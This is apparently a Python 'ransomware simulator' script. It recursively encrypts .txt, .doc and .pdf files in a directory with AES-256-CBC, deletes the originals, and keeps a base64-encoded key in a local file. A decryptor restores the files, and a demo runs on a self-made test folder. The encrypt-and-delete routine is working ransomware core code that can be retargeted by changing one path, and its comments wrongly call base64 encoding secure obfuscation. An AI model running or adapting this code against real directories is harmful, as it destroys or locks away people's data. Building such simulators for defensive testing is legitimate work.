import os

import base64

import hashlib

from Crypto.Cipher import AES

from Crypto.Random import get\_random\_bytes

import shutil

import logging

import sys

# Configure logging for debugging and monitoring

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

class RansomwareSimulator:

def \_\_init\_\_(self, target\_dir, key\_file='key.txt'):

self.target\_dir = target\_dir

self.key\_file = key\_file

self.key = None

self.obfuscated\_key = None

self.BLOCK\_SIZE = 16

self.EXTENSIONS = ['.txt', '.doc', '.pdf'] # Target specific file extensions

def generate\_key(self):

"""Generate a secure AES key and store it securely."""

self.key = get\_random\_bytes(32) # 256-bit key for AES

self.obfuscated\_key = base64.b64encode(self.key).decode('utf-8') # Obfuscate key with base64

with open(self.key\_file, 'w') as f:

f.write(self.obfuscated\_key)

logging.info("Key generated and saved to %s", self.key\_file)

def load\_key(self):

"""Load and de-obfuscate the AES key."""

try:

with open(self.key\_file, 'r') as f:

self.obfuscated\_key = f.read()

self.key = base64.b64decode(self.obfuscated\_key.encode('utf-8'))

logging.info("Key loaded from %s", self.key\_file)

except Exception as e:

logging.error("Failed to load key: %s", e)

sys.exit(1)

def pad(self, data):

"""Pad data to be a multiple of AES block size."""

padding\_length = self.BLOCK\_SIZE - len(data) % self.BLOCK\_SIZE

padding = bytes([padding\_length]) \* padding\_length

return data + padding

def encrypt\_file(self, file\_path):

"""Encrypt a file using AES-256 in CBC mode."""

try:

iv = get\_random\_bytes(self.BLOCK\_SIZE)

cipher = AES.new(self.key, AES.MODE\_CBC, iv)

with open(file\_path, 'rb') as f:

plaintext = f.read()

padded\_data = self.pad(plaintext)

ciphertext = cipher.encrypt(padded\_data)

with open(file\_path + '.enc', 'wb') as f:

f.write(iv + ciphertext)

os.remove(file\_path)

logging.info("Encrypted: %s", file\_path)

except Exception as e:

logging.error("Failed to encrypt %s: %s", file\_path, e)

def decrypt\_file(self, file\_path):

"""Decrypt a file using AES-256 in CBC mode."""

try:

with open(file\_path, 'rb') as f:

encrypted\_data = f.read()

iv = encrypted\_data[:self.BLOCK\_SIZE]

ciphertext = encrypted\_data[self.BLOCK\_SIZE:]

cipher = AES.new(self.key, AES.MODE\_CBC, iv)

padded\_data = cipher.decrypt(ciphertext)

# Remove padding

padding\_length = padded\_data[-1]

plaintext = padded\_data[:-padding\_length]

original\_file = file\_path.replace('.enc', '')

with open(original\_file, 'wb') as f:

f.write(plaintext)

os.remove(file\_path)

logging.info("Decrypted: %s", file\_path)

except Exception as e:

logging.error("Failed to decrypt %s: %s", file\_path, e)

def simulate\_infection(self):

"""Simulate ransomware by encrypting files in the target directory."""

if not os.path.exists(self.target\_dir):

logging.error("Target directory does not exist: %s", self.target\_dir)

return

self.generate\_key()

for root, \_, files in os.walk(self.target\_dir):

for file in files:

if any(file.endswith(ext) for ext in self.EXTENSIONS):

file\_path = os.path.join(root, file)

self.encrypt\_file(file\_path)

logging.info("Ransomware simulation completed.")

def run\_decryptor(self):

"""Run the decryptor to restore encrypted files."""

self.load\_key()

for root, \_, files in os.walk(self.target\_dir):

for file in files:

if file.endswith('.enc'):

file\_path = os.path.join(root, file)

self.decrypt\_file(file\_path)

logging.info("Decryption completed.")

def main():

# Create a test directory with sample files for simulation

test\_dir = "test\_folder"

if not os.path.exists(test\_dir):

os.makedirs(test\_dir)

with open(os.path.join(test\_dir, "sample1.txt"), 'w') as f:

f.write("This is a test file 1.")

with open(os.path.join(test\_dir, "sample2.txt"), 'w') as f:

f.write("This is a test file 2.")

logging.info("Test directory created: %s", test\_dir)

# Initialize ransomware simulator

ransomware = RansomwareSimulator(target\_dir=test\_dir)

# Simulate ransomware infection

ransomware.simulate\_infection()

# Simulate decryption

ransomware.run\_decryptor()

if \_\_name\_\_ == "\_\_main\_\_":

main()